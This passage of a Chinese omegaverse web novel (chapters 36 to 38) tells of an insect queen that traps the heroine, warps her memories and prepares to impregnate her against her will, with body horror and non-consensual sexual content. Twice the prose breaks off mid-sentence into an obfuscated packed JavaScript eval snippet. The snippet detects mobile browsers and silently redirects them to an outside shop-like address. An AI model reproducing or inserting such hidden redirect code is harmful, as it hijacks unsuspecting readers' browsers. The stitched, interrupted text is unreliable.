就好比一个人和一只蟑螂,即使体型、力量悬殊,后者也无法对前者造成任何危害,但就算拍死它后,直到抹除尸体丢进垃圾桶,还是会有人依然难受无比,甚至不受控制地巡视领地,盯着垃圾桶一遍遍确认它是否真的死去。 不过是关乎对它的接受度。 桑宁叙对一般虫族的形象也就勉强有个5分的接受程度,毕竟那些家伙好歹有着坚硬的外壳和四肢,会蹦跑会弹跳,如果把它们想象成蚂蚱,就没那么难以忍受。 毕竟蚂蚱大概是除苍蝇蚊子外,她勉强不那么排斥的昆虫类。 但面前这位,就算她把头都快弯到膝盖,也无法阻睁开眼睛就能看见其尾部尖端一圈一圈的白肉,此时正在一波一波地晃动。 她忽然觉得,比起虫母宰杀她之前,她倒是有可能会先被它恶心死。 不过好在她即将被恶心到晕死前,某位迫不及待的虫母已经先一步再次把她弄昏了过去。 谢天谢地,终于不用再对着那样一具难以忍受的虫体了。 头脑陷入黑暗之前,桑宁叙松了一口气后窃喜地想着。 36. 第 36 章 她好像又回到了最开始那个湿热的巢穴。 四周的一切又软又暖,轻易为她抹去所有烦躁与不安,一股又一股不知名的气体在周围释放,被她在沉睡中无知无觉地吸收,连前面一直蠢蠢欲动的信息素此时都像被安抚得舒服极了的模样,老实乖巧的待在腺体中,不再捣乱。 桑宁叙的意识逐渐朦胧,她甚至觉得自己像是重回到还是个小宝宝的时候,在母亲的子宫内舒适安全的存在着,温顺安静地接受一切。 没有厌恶、没有反抗、没有抗拒,一切都是那么的温柔、宁静。 身体的饥饿和寒冷被缓解,精神中的紧张和亢奋被抹去,就连脑海中活跃无比的神经系统仿佛都被一双无形的大手抚平,让她只想彻底醉死在这片温柔海中。 气体源源不断地在生殖腔中释放,手脚无力只觉得疲惫无比的女孩再也没有多余的精力思考任何事情,她平静地躺在这个为她量身定制的摇篮中,像是又听见了过去奶奶为她哼起的摇篮曲,在全然的信任与放松中,她渐渐失去意识,掉入一个个不存在的记忆旋涡。 “穆沉凛……” 她好像又回到了第一次被他咬住腺体的时候。 他的动作有这么粗鲁吗? 桑宁叙不满地抱怨着,但男人的动作却并没有放缓,就连安抚的亲亲也没有,只是冷漠地顿了一秒后,随即更加凶狠地进入。 好疼,好难受,停下! 为什么不起作用? 为什么不听话? 男人依旧保持着原样,对她的命令充耳不闻,像是没有任何感应一样。 这不对,明明他们每次信息素融合的时候…… “融合的时候怎么了?” 一个奇怪的声音出现在脑海里缓慢地问着。 “怎么了……怎么,我也不知道!但是,但是……” 但是总归不该是像现在这样,他怎么能这么粗心,丝毫不在意她的情绪。 桑宁叙生气了,她抹了一把因为疼痛而掉落的眼泪后,趁着男人结束后不住喘气时,两只胳膊在空中乱挥,怒气冲冲地把他的脸掰到自己面前,随后用尽全身力气才把眼睛勉强睁了条缝隙。 就当她正准备怒骂时…… “啊!滚啊!” 被她一脚踢下床的那个东西在地板上艰难地蠕动着,人形的四肢不知何时消失,桑宁叙战战兢兢地向床底望去,那东西也恰好抬头,再次看见那倒裂缝的桑宁叙终于忍不住尖叫出声,被强制唤醒的信息素顿时在一瞬间将那物撕了个粉碎。 在巨大的地震声与难听痛苦的鸣叫中,她的大脑一片昏沉,不得不再次被强制睡去。 “听说了吗,太子殿下娶了桑少校的长女,据说还是殿下的命定之番。” “我怎么记得,最初宣布的太子妃人选好像是那家的小女儿吧……” “你不知道嘛,根据靠谱信息,那家的小女儿和殿下当时可是一见钟情,但可惜订婚前发现两人的信息素匹配度只有可怜的5%。” “多少?!5%?哇塞,这大概率是有史以来最低的匹配度了吧!” “谁说不是呢。帝后当场就逼迫二人分手,听说那个小姑娘还哭哭啼啼的不肯放弃,在皇宫门口跪了一天一夜,最后还是殿下亲自把人撵走的。” “啧啧啧。” “我倒是听说这位新太子妃长得不仅漂亮,性格温柔体贴,厨艺那可是一等一的好,比起那个不懂事的小女孩来一看就是贤妻良母,怪不得能被殿下选中。” “那可不,Omega不就是该娶回家当个花瓶,高兴了就来一发,等发情期一到,嘿嘿嘿……” 淫邪嘈杂的声音在耳边响起,恢复意识的桑宁叙刚一睁开眼睛就发现自己正站在密密麻麻的人群之中,旁边的人们还不停大声欢呼着什么。 搞什么啊? 托着疲倦身躯的女孩只想赶紧回家睡一觉,突然间,一辆辆军车从洒满五颜六色鲜花的道路上飞驰而去,人群沸腾中她被挤得像个夹心饼干,桑宁叙努力撑着身体想要一点一点向后退去,好脱离这帮过于激动的人们,然而身体却像是被固定住了一般,怎么也动不了。 就在这时,一辆婚车稳稳停在了他们面前。 车门被司机恭敬地打开,被军用长靴的包裹的紧实小腿出现在人们的目光中,然后一个容貌俊美精致的男人漫不经心地从车上走下。 男人并不在乎周围起哄的人群,他伸出戴着白色手套的右手,嘴角噙着一抹能溺死人的温柔笑意,目光疼惜地将里面那人牵了出来。 两人站定后,男人的目光似是无意间扫到人群中的女孩,随即,跟在他身边挽着胳膊的漂亮女人也顺着他的目光看去。 随着人群中晃动不已的桑宁叙先是对上了穆沉凛厌恶又嫌弃的视线,还没等她反应过来,桑灵叙就拉着男人的胳膊贴在了自己胸前,对着她挑起一抹恶毒又得意的笑。 之后,女人对着太子殿下耳语了几句,很快,桑宁叙就被几个士兵从人群中毫不留情地拽了出来,变成了为桑灵叙提裙的“伴娘”。 “哎呀,好妹妹,姐姐可是特意给你安排了最佳观赏位置呢。怎么样,不错吧?” “灵灵,别跟她这么不要脸的人搭话,我可不想你被她周围的空气污染。” “当时我真是眼瞎,居然能看上你这么个垃圾。” 这对男女毫不掩饰的恶意深深扎在她的心尖,但桑宁叙也只是迟钝地眨了眨眼睛,并没有接话。 这是一场无比盛大的婚礼,比她和穆沉凛的那场还要豪华高贵得多。 嗯?等会儿,她和穆沉凛结过婚吗? 看着站在皇宫露台上喝着交杯酒又甜腻接吻的二人,桑宁叙突然恶寒了一下。 她眼光没这么差吧。 后面的剧情就无聊许多,什么因为她不要脸地勾引太子殿下被偏爱父亲的姐姐从家中赶了出来,身无分文的女孩只得硬着头皮求到了桑灵叙面前,然后成为了太子妃的贴身女仆。 像是为了刻意折磨她一般,这两人天天在她面前秀恩爱,甚至连夫妻间的亲密事也不避讳,桑灵叙还要求她站在卧室门口随时等待她的传唤,然后在结束酣畅淋漓的运动后故意让桑宁叙给她洗澡,之后又有意无意地露出白嫩皮肤上的各种痕迹,笑眯眯地让她观摩。 至于太子殿下,每次见到她依然像见到了一件什么恶心垃圾的模样,不是出口讽刺就是用一种极其嫌恶的眼神瞪她几眼,然后在桑灵叙矫揉造作的姿态中,在她面前深情拥吻。 桑宁叙打了个哈欠,她觉得有点无聊。 这两人爱不爱她,背不背叛她,她都不是很在乎。反正她也就是个倒霉的穿越女,只要能吃饱喝足日子安生,这两人的作秀对她而言也就充其量是每日的晨晚间狗血家庭伦理剧,不仅能消磨时光,还能找点乐子。 至于剩下的,想看她伤心难过、哭哭啼啼? 嗯……她的确是装不出来一点。 反正在这个世界里,她才是唯一的变量。 虽然她是对穆沉凛有点好感,但这种好感也是可以随时收回的。即使肯定要废点时间和精力,不过倒也没那么困难。 反正又不是自己原来的世界,他们随便做出什么奇葩的事情她大概都不会惊讶,也没兴趣惊讶。 于是这样枯燥乏味的日子又持续了一段时间,不过在她感到烦躁之前,有人倒先忍不住出手毁掉了一切。 在沉睡中,桑宁叙被投放进另一段记忆里。 她不知道自己是以何种方式站在一旁观看,在一望无际、完全被黑暗占据的诡秘空间中,很快,无数高频嘶吼的虫鸣和几乎要把她扇飞的震翅声铺天盖地袭来,在密密麻麻虫族的围困中,她看见了一个熟悉的身影。 清冷肃杀的姿态,高挑精瘦的身材,冷冽强势的双眼和微抿成一条直线的淡唇,在他身旁不断如烟花般炸开的虫尸碎片,让这个占据中心位置的男人更显耀眼。 桑宁叙有点羡慕地盯着男人看了一会,看他游刃有余地穿梭在暴躁的雄虫中,熟练地躲避一根根触须和节肢的击打与抓捕,然后以惊人般的速度瞄准射击,在爆炸声响起的同时,一连串雄虫甚至来不及四处逃窜,就已在悲惨的哀鸣声中消灭殆尽。 牛逼啊。 女孩越看反而越激动,她现在简直像是临场观摩战斗表演,体内的热血和斗志很快就被激发,站在高空中俯瞰一切的她紧紧盯着那个不断游走在雄虫之间的身影,在一次次响起的爆破声中拍手叫好。 热武器加顶级信息素和战斗力,穆沉凛的实力的确远在他人之上。 帝国是何其有幸才能得到这样一位实力强大的Alpha,更别提还是一位经过精密训练的太子殿下。 随着战斗越来越激烈,桑宁叙的心也逐渐揪起。 尽管男人实力强悍,可单他一人对抗这么多数量的虫族,实在不得不让人在心里为他捏把汗。 也许是战时拉得过长,他的体力也在虫族一波又一波无止境地进攻中渐渐消耗了大半,桑宁叙焦急地看着那个明显放慢速度的人影堪堪躲过七八条满是尖锐利刺的触角后,还是一不留神被后方的一只雄虫偷袭成功。 右臂伤口的血液一点点渗出,见血的雄虫们则像是看见了什么美味一样,一股脑地蜂拥向前迫不及待地享用一番,却被男人的信息素拦截后彻底碾压。 他很累了。 看到男人停在原地快速掏出急救品简单包扎时,桑宁叙的心上忽然略过一道难以察觉的酸涩。 他是真的很厉害。 冰醋酸跟他的主人一样,此时正猛烈地抵挡住一群又一群试图撕碎男人的雄虫,桑宁叙看着他越来越 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男人像是被惹怒了一般,在距离他不到一米时,最近的一圈虫子在猩红的视线中以一种更加可怕的势能被碾碎,虫族们被突然爆发的信息素惊了一会儿,但竟然仍停在原地,迟迟没有上前。 也许是因为体温过高,或者身体极度不舒服,穆沉凛扔掉了一直戴在头顶的军帽,冷汗顺着锋利的脸颊缓缓滑至下颚线,桑宁叙看着男人惨白的面孔和明显不对劲的攻击姿态,突然意识到了什么。 这幕,好像有点像第一次见他时,信息素暴乱时的状态。 他需要她的安抚,他需要她的信息素。 虽然不知道这样的念头从何而起,但看着已经明显处在劣势的太子殿下,桑宁叙只恨不得立刻跳到他面前好赶快释放自己的信息素。 在她无意识的不安中,原本沉睡的冰湖也在悄然间觉醒,蛰伏在体内被冰封的冰醋酸也随着湖水一点一点的融化与沸腾,自愿溶解其中。 得叫他过来,得快点让他过来。 桑宁叙慌乱地想着。 可惜,事与愿违,似乎是特意为了让她看清男人的最后一面,桑宁叙突然被传送到他的身边,甚至只要微微伸手,就能触碰到他。 不过当然,她又如何能触碰到回忆中的人物呢。 尽管信息素暴乱时刻影响着穆沉凛的身体,但长期训练有素且意志强大的男人也不是那么容易就放弃的,看他利用信息素暴乱时的恐怖能量不要命地追在虫族身后疯狂扫荡,本来都快要落泪的桑宁叙硬生生被这人整笑了。 都到现在了,穆沉凛反倒变成了进攻方,虫族竟然变成了保守方,被男人追在屁股后面甚至完全压制,只能像群无头苍蝇一样胡乱飞舞。 这人还真是…… 可没等她高兴多久,正对着虫族穷追不舍的男人却忽然被迫停了下来,跟在他身边的桑宁叙也趁着他分神的时间恰好看见他失神中那双熟悉的瞳孔。 …… 在巨大的震惊中,她眼睁睁看着刚才还生猛进攻的太子殿下下一秒就血肉横飞的在面前炸成无数细小的血块,与此同时,还未惊呼出口,男人滚烫的血液就泼了她一身,桑宁叙闻着鼻尖传来的浓重血腥味,低头看了一眼不断滴血的指尖。 …… 一滴晶莹透明却夹杂着深红血色的泪珠滚落。 喉头泛起滚滚腥甜,桑宁叙抬起头闭了闭眼,狠狠咽下那些属于自己的血液。 他死了。 因为她。 很好,很好。 忽然,一阵暴虐到恨不得撕扯整片宇宙、星空、甚至整个世界的念头涌入大脑,在极度的悲愤与恨意中,桑宁叙只觉得浑身都疼痛难忍,仿佛刚才的爆体即将发生在自己身上,后颈的腺体更是如凌迟般被什么锋利的东西切割开来,尖锐的能量在一种诡异地烧灼中快速蔓延至全身,她只觉得自己仿佛被置放在某种剧烈的化学药品中被不断溶解,然而就在自己快要坚持不住时,又被另一股熟悉温和的能量慢慢包容、抚慰,然后再继续回到之前的感觉。 反复循环,接连不断。 但是却并不令她感到害怕。 一股能量本就属于她自己,因为实在是太熟悉,所以知道它绝对不会伤害自己。 至于另一股能量。 那些被男人不断注入的信息素,被冰封起来属于他的极致气味,也终于在她的体内以迅雷不及掩耳之势爆发,一遍遍流经她的血液和神经,在极大的战栗与反冲中,给予她最极致的快感。 在女孩身体得到接连不断的洗礼时,隐藏在她意识中还沾沾自喜的东西终于意识到不对。 然而不等它反应逃离,就已经被混杂着极寒暴冰与极酸化学试剂的信息素在爆冲中狠厉地吞噬、净化、直至消逝。 现在,她又是安全的了。 37. 第 37 章 穆沉凛的这个Omega很奇怪,但也足够特别。 早在第一次接触她时,它就发现了。 她的信息素是由一串它完全无法理解的、极其古老复杂的基因链组成,古老到或许可以追溯到在虫族诞生以前,甚至在帝国诞生之前就已经出现的、人类最原始信息素的状态。 是一种人体自身设计并产生的,精密又完美的分子式。 异常简单、异常纯粹、异常干净,代表着生命、秩序与创造,是被自然精心雕琢后自发组成的完美结构。 也是这么多年来,虫族所苦苦寻求的希望。 女孩依然安静地躺在生殖舱中,面色白皙红润,一点儿也看不出最初被抓来时的惶恐与紧张。 她太平静了。 这样很好。 巨大的虫体一动不动地盯着这个被睡在卵泡中的女孩,良久后,它缓缓退去。 紧接着,虫鸣声响起,音浪响彻地心,在一阵又一阵排山倒海之势的地震中,原本储存在宫腔的虫卵纷纷掉落,失去了母体供养的小虫很快就奄奄一息,虫卵们一颗一颗迅速干瘪,像被抽尽了血液的干尸,地上密密麻麻的布满无数幼小的虫尸,在尖锐起伏到能分分钟震破耳膜的哀鸣声中,渐渐失去生命。 几十倍胃袋模样的生殖腔中此时正沉沉睡着一位人类女孩,她的整个身体都被浸泡在温热透明的营养液中,像是被放在祭坛上的神祀少女,等待着祂的临幸。 随着胃袋轻柔的晃动,生殖腔为她隔绝了一切噪音,那些刺耳的音潮和震鸣一点儿也没有吵到她,女孩仍然无知无觉地睡在这个原本用来孕育虫卵的器官。 大半的雄虫都已被虫母召回,此时正蓄势待发地守在巢穴入口,等待着它的新生。 “殿下,我们晚到了一步,太子妃已经不见了。” 坐在飞行器上面色阴沉暴戾的男人看着江止最新发来的照片,他死死盯着画面中那栋被劈成两半的帐篷,森森发白的骨指被捏得咯咯作响。 “我们已经把整个星球都翻了一遍,还是没有发现太子妃的尸体。” 听见通讯设备中江止的声音,元宿担忧地看了自家殿下一眼:“也许……” “找,继续找!除了MS星系,周围所有的星系,帝国飞船能够到达的所有角落,都给我仔仔细细地搜!” 结束联络后,终于忍无可忍的太子殿下一拳砸向中控台,鲜血从手背上涓涓流下,元宿看了一眼桌面上那个可怖的深坑,心里不自觉抖了抖。 这还是他第一次见到殿下的情绪如此外露。 不忍殿下受伤的元宿赶忙找来止血贴和消毒液,却被男人一把甩开。 穆沉凛脸色难看地对他摇了摇头,会意的元宿只好快速收拾完东西退了下去,只留他一人在指挥室。 宁宁…… 那东西应该不会这么快就杀她,没有找到尸体也更能佐证这一点。 有很大可能,它是想利用她逼迫自己现身…… 已经两天没有阖眼的太子殿下疲惫地揉着眉心,他盯着窗外一片漆黑如血盆大口即刻将吞下飞船的无限宇宙,心中的暴虐欲再一次无可避免地升起,按捺住内心想徒手拆掉飞船的躁动,他用力闭了闭眼后再次打开了通讯设备。 “孟赫听令……” 桑宁叙不知道她在哪里。 吸入过量神经毒素的她早已失去意识,只是呆呆地躺在原地,麻木又无知地等待着命运的降临。 她……是谁,来着? 在身体的麻痹中,意识和精神世界很快就被另一股巨大的能量再度入侵。 好奇怪,这都是……什么? 一帧一帧的画面在眼前卡顿地闪过,桑宁叙只觉得自己仿佛看了一部慢速版的虫族世界。 扭曲的肢体,血腥杀戮吞噬拼凑,一点点让虫族进化到如今的模样。 然而也许是作为最初的母体,虫母的样子倒是一直没有变化。随着雄虫在宇宙间的疯狂扫荡和成长,虫母吸收的能量越多,其生殖空间就越大,生殖能力也越强,源源不断的虫子被赋予生命,成为它的孩子与另一半。 然而毫无节制地孕育很快就出现了问题,虫族寿命太短,幼虫得不到充足的能量和食物在母体中大肆抢夺,而越来越虚弱的虫母也无法再成功养育完全健康的雄虫,残疾、奇怪、畸形的幼虫不断诞生,在成长中也很快死亡。 它知道如果再这样下去,很快,整个虫族都会毁于一旦。它需要变革,需要重塑,需要全新的基因代码,需要吞噬新的物种和生命。 它选中了帝星。 聪慧的大脑、漂亮但脆弱的外表、比它们长了近几十倍的寿命,一个完整又先进发展的国度。 它渴望他们的基因。 但物种间的生殖隔离意味着它们必然无法简单的结合、孕育新生。 所以,它向帝国送上了携带它体内生物编码的一只雄虫,之后更是设计故意让帝国轻而易举地活捉了这只生命体。 它知道,他们绝对不会放过这么好的研究对象。 只要它还活着,只要它脑部灵能网的链接点没有被阻断,它将无时无刻读取它的记忆与感受,甚至在必要时短暂共感。 它猜得果然没错,帝国在接收这只活体雄虫后,很快就命令贺承科带队研究。 它“看着”贺承科一步步按照它的计划终于发现虫族的信息素,然后从脑部提取出它事先藏好的属于自己的生物编码,紧接着在不断地精神暗示和低语中,一遍遍催促他开始进行人体实验。 无法抵挡来自毁灭黑暗力量的精神污染后,贺承科很快就变得疯癫了起来,他全身心投入到实验中,一天比一天极端,心心念念不断在皇宫搜寻着合适的实验体。 然而帝后的反对和拒绝让他也无法正大光明的开展实验,于是这家伙便铤而走险,先是给自己的Omega女儿注射了携带虫母基因的“毒素”,在没有得到想要的结果后,这人居然在哄骗中给那个Alpha男孩也注射了相同的液体。 幸运的是,这次终于有效果了。 昏迷高热了一周左右的男童Alpha在被医院诊断为无生命体征后没过几个小时,一股强烈爆发的尖锐信息素瞬间让医务室大乱,所有医务人员都被这股强酸味道的震慑和攻击影响,先后晕厥了过去,最后被得知消息的帝后派遣穿着隔离服的帝国军队将人送入隔离病房。 之后,男孩很快恢复如初,除了信息素的变化之外,再也不见其他影响。 而此时的贺承科也因为事情败露被帝后关押,所有相关的科研实验均被强制停滞,然后彻底销毁。 但对于虫母而言,它期盼着男孩的成长,甚至认为他是它们最后的希望。 但没想到是,虽然他的信息素在它的影响下成功发生了异变,然而…… 异变居然使得他的信息素对虫族具有毁灭性的打击! 它感受着那抹疯狂却又略微熟悉的信息素毫不留情地消灭一波又一波雄虫,正因为那点熟悉的感觉,导致雄虫在他面前总会下意识地停顿攻击,雄虫无法反抗虫母,这是最初写在它基因程序中,宇宙赋予它的独特能力。 结果,现在居然被一个帝国人给占有了。 它失败了,贺承科是个成事不足败事有余的蠢货。 好在它的身体还足够支撑一段时间,于是它只得想方设法先除掉这个棘手的帝国人再说。 正当它一筹莫展之时,没想到,帝国医学院又出了一个疯子。 一个天生疯魔,跟它有着同样想法与目标的帝国人,还是贺承科的外孙,贺书愉。 当贺书愉第一次意外接入它们的灵网时,它第一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997830|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间就捕捉到那抹比穆沉凛身上还要浅淡的信息编码。 于是它和他达成了协议。 有了贺书愉这个内应,它们的攻击顺利了许多。当男人把针对穆沉凛的研究方案报告给它后,即使知道提取虫族信息素会对它们带来重创,但只要能消灭穆沉凛,之后再多的困难也能随之化解。 穆沉凛,它原本唯一的希望,竟然变成了摧毁虫族最可怕的武器。 可惜虫算不如天算,就在它焦急等待贺书愉的好消息时,第二个变数出现了。 桑宁叙,穆沉凛的命定之番,一个不受虫族精神污染,信息素无法被它复刻的怪物Omega。 怪物配怪物,倒也合适。 它本想将她当做威胁穆沉凛的工具,可她竟然没有被与穆沉凛类似的信息素诱导发情。 它不明白这是怎么回事,虽然它无法百分之百模拟穆沉凛的信息素,但相比于桑宁叙的信息素而言,它还是能勉强复刻出与他相似的气味。 可结果却是,她毫无影响。 既然无法被诱导发情,那就干脆把人直接吞噬好了。 窥视她的过去,翻阅她的记忆,扭曲污染她的美好回忆,再植入痛苦、背叛与仇恨,等她的意识被折磨的摇摇欲坠时,便一层一层剥离她的人格,抽离她的情感,然后使她抛弃自我认知,解构她的个体意识,最后让那灵魂深处隐藏的完美基因与核心密码彻底暴露,再由它慢慢品味与消化,只剩那空洞麻木的躯壳继续存在于世。 可气的是,它无论如何也无法读取她儿时的记忆。 那些回忆像是被冰冻在寒冷的湖底,禁制任何人、任何形式的窥探。 以及,她的精神世界充斥大量晦涩丰富的古老语言与思想,它读不懂,更不敢读懂,甚至时长有一种莫名被深渊凝视的恐惧,令它只想立即逃离。 尽力蛰伏在女孩精神世界的虫母只得匆匆随便选了几个自认为对她来说极为重要的记忆,然后便开始肆无忌惮地修改,恶意满满地期待着她彻底迷失在这些虚假的世界中,最后一点点露出脆弱和伤痛。 那时,将是它趁机偷袭的最好时机。 但她潜意识的能量却完全超出了它的想象。 那时一种极为强大的能量,冰冷、淡漠、肃杀、不在乎、无畏、不容侵犯。 和它体内与生俱来的邪恶摧毁力量不同,她则更是一种人不犯我我不犯人的强硬保护姿态。 更甚者,它恍若有一种被远古生物俾睨的荒诞感。 被信息素不断围剿贴近时的它早已没有了退路,与其放弃,不如放手一搏。 然而,她的主体意识太强了。 不管是穆沉凛,还是桑灵叙,不论是极致的□□,又或是爱人的背叛,对她而言,好像都没有什么太大影响。 她明明很爱那两个人,但是为什么…… 没办法,它只好又编造了一段穆沉凛战死前的画面。 与其说编造,不如说,这是一场被它刻意加工后的真实画面。 毕竟,当时的男人的确是这样假死在虫潮之中。 幸运的是,它终于等到了她情感的波动时刻。 当她亲眼目睹穆沉凛的死亡后,受到剧烈冲击陷入悲痛的那一秒,就是它主动侵占的最佳时机! 然而比起丧夫之痛,提前到来的竟然是无法克制的杀戮欲望与仇恨。 与此同时,一直潜藏在冰湖之下那股熟悉的能量也开始蠢蠢欲动,暂时牵制住了它的下一步动作。 它以为,她已经开始被自己慢慢蚕食了。 就在它得意洋洋以为注定胜利时,滔天浪潮般熟悉又狠厉的信息素威压席卷着古老澄澈但得以摧毁一切黑暗的力量猝不及防地掀翻它,甚至在它还未感受到痛苦与驱逐之前,就已经化为乌有,彻底消逝在她的意识世界。 38. 第 38 章 桑宁叙清醒的时候还有点懵。 突然从一个个奇怪的故事中抽离出来,她需要点时间消化。 啧,做到一半突然变成虫子的穆沉凛带给她的惊吓还是有点太大,可能是因为第一个故事差点让她恶心到恨不得一头撞死,以至于后面再被拉入其他幻境时她居然并不是特别沉浸,胳膊上的鸡皮疙瘩和喉咙中的酸水总是不断暗示着什么。 只是到目前为止,她还没搞清楚这只虫子到底在玩些什么花样。 看起来也不像要杀她的意思,难不成是想利用她做人质,等着穆沉凛来以命换命? 不等她继续思考,女孩就被腺体突然迸发的烧灼感吸引了注意,仿佛正有人拿着滚烫的开水壶不小心贴在那寸皮肤上,剧痛传来的同时她的思绪也顿时清醒了过来。 桑宁叙连忙用冰凉的手摸了摸那个器官,不知是不是她的错觉,这东西似乎变大了一些,以前明明只有她手掌的一半大小,现在都快能撑满整个掌心了。 除此之外,她也顺手量了量额头,果不其然,明显滚烫的温度让她无奈地叹了口气。 看来是被折腾的发烧了。 好在头不晕,嗓子不痛,就是困得慌,嗜睡。 虽然她也想干脆放弃一切什么都别想倒头大睡一觉再说,但看着自己被吊在这个奇怪又恶心的软体容器中,桑宁叙满脸嫌恶又小心翼翼的把自己尽量缩在一起,试图让身体更少接触到这个黏哒哒、湿乎乎的玩意儿。 环视了四周一圈,她暂时没有看见那只虫子,女孩抱着膝盖缓缓松了一口气。 穆沉凛…… 想到刚刚在梦中看见的惨烈死亡画面,即使知道一切都是假的,但她喉咙里依然不上不下像是堵住了一口浊气,无论如何都摆脱不了那种沉闷的窒息感。 英明神武的太子殿下,在所有人心中只会成功不会失败的太子殿下,如果不是她意外出现在这个世界,更没有和他结婚,在贺书愉和虫母的合作下,他的命运又该何去何从呢? 桑宁叙,比起担心他,你是不是应该先考虑一下自己现在的情况! 意识到自己简直在瞎操心的女孩懊恼地掐了自己一把。 请问,现在她到底该如何自救呢? 不知道这里的具体坐标,身上没有联络器,还是个没有攻击力的Omega…… 哈哈哈哈哈,看来她还是等死好了。 毕竟,勇于放弃这件事情,也不是谁都能做到的。 只坚持了五秒就果断躺回去的桑宁叙望了一眼头顶那深嵌于漆黑中淡紫色交汇流动的荧光液体,竟然觉得别有一番风味起来。 好吧,被这家伙整的,她的SAN值好像也升高了……不知道是好事还是坏事。 就在她平躺后双手合十放在胸前,面带微笑摆好一幅即将入棺的标准姿势快要阖眼时,忽然,熟悉的浓雾和液体再次疯狂在容器内部喷射,被迫吸了一大口的桑宁叙被狠狠呛了几下,现在正拼命捶着胸口艰难地咳嗽着。 这是要让她窒息而亡吗! 等会儿…… 随着她的身体缓缓倒下,大脑被强制关机,四肢麻木的感觉再度袭来。只是这次她并没有陷入沉睡,被迫睁大双眼但身体却被固定在原地的女孩看着那只刚才还不见踪影的生物,瞳孔因为恐惧而逐渐放大。 浑浊粗壮的虫体正朝着她的位置慢慢靠近,而它开合裂缝中的长长口器中,似乎叼着一个正在发光的圆球。 她的心脏随着虫母的动作怦怦直跳,一阵极其不好的预感顿时从心间涌起。 “你知道吗?”庞然大物终于开口,虽然从下向上看去桑宁叙愣是半天都没发现这东西说话的嘴到底在哪里,但也并不阻挠它的声音直接出现在她的脑海中。 “还有一个方法,一直没有被尝试过。” “最简单,也是最便捷的方法。” “这么久以来,我竟遗忘了帝国的Omega。” “天生具有完美生殖腔的……母体。” “不过现在嘛……” “虫族拥有了穆沉凛的命定之番。” 凝聚着浓重恶意的奇异语调缓慢响起,随着它的声音一字一句出现,桑宁叙状作镇静的面容终于再也忍不住,变得极为难看起来。 “这是你受之无愧的荣耀。” “你将成为,下一代虫王最完美的母体。” 当最后一个字落下,它滚烫灼热、包含着无限期待与爱意,但依旧充斥着无尽毁坏欲的视线缓缓落在了她平坦的小腹上。 那里,将成为它们全新的起点。 靠,它不会是想…… 冷汗一滴滴从惨白的脸颊滑落,桑宁叙使出吃奶的劲拼命晃动身体试图挣脱束缚,然而被密封在充满各种麻痹神经毒素的生殖腔中,她早就失去了对身体的控制。哪怕灵魂急得就差要自行爬出躯壳,但她的身体却依然一动不动地躺在容器中,像一只被玩坏的破布娃娃,等待主人的任意搓揉。 不行不行,绝对不行。 别说怀个人崽她都不情愿,给她塞个恶心的虫卵,光是想想她就恨不得自己动手把身体给剖了。 绝无可能! 女孩咬牙切齿地死死望着那个不断蠕动的东西,剧烈的抗拒和毫不掩饰的嫌恶似乎刺痛了它,在动手之前,她倒是先一步听见了那东西疯狂又充满恨意的吼叫。 “都怪他,都怪穆沉凛!” “要不是因为他!要不是因为基因融合失败,我们又怎么会走到今天这一步!” 什么基因融合?它在说什么? “但是没关系,不要害怕。” “等他赶来之前,我们先做点有意思的实验……” “桀桀桀……” 暴怒退去后,它温柔诱哄的声音出现桑宁叙的脑海中,那雌雄难辨的诡异音调渐渐减弱,而后在不知不觉间彻底改变为另一种她十分熟悉低沉性感的男性嗓音。 “乖,放松,不要抗拒我。” 穆……沉凛? “宝贝,想我了吗?” 是他来救她了吗? 可,他是怎么找到这里的? “宝宝听话,你的发情期到了,不想被标记吗?” 她的发情期? 她也有,发情期吗? 女孩漂亮又脆弱的浅色琉璃眼眸疑惑地望着那张熟悉的面孔,随着男人精致帅气的脸庞一点点凑近,他粗粝的指腹也覆上被她紧紧咬住的红唇,随后不容抗拒但温柔宠溺地替她解救出那已经发白的下唇。 “宝贝,相信我。” 有什么冰凉又黏腻的东西正在皮肤间不断摩擦,似乎是感受到母体的不情愿,它状做乖巧可爱的样子轻轻触碰着她,试图为她缓解心中的最后一点不安与怀疑。 在他无声的催促中,桑宁叙对上一双含着无限渴望与期待的墨色双眸,像是在对她隐隐诉说着什么。 放弃抵抗,让它进入。 进入那个温暖安全的地方。 进入那个能够孕育后代的容器。 进入…… 她的生殖腔。 帝国对于Omega的保护做到了极致。 作为孕育帝国人后代的母体,Omega的保护法也在悠久的历史长河中不断进步、修改、完善。 但帝国并没有把Omega当做地位底下的生育机器困在家中,相反,专门为Omega开设的学院、提供的职业和资助更是数不胜数,帝国也毫不遮掩地鼓励每位Omega追求自己的梦想和未来。 和被放养的Alpha不同,帝国将Omega当做珍贵的宝贝精心呵护、养育。 在地位上,Omega甚至超出Alpha一大截。 好在对于那些本就占据生理优势,同时刻在基因中渴望繁衍与标记的Alpha来说,只要不是过分倾倒性的差距,他们并不在意将大部分资源分享给Omega们。 比起家财万贯名声显赫的打一辈子光棍,还是讨对象咬脖子生孩子,组建家庭更重要。 况且,只有一个身心健康、情绪稳定的Omega,在遇到高度匹配的Alpha后,才会在爱意中诞生健康又完美的全新生命。 最先察觉到虫族对Omega影响之大的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17002294|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现任帝王。 虫族出现后不久,得到详细资料的帝王某天深夜被前来催促休息的王后不经意间看到了那张虫族特写照片。 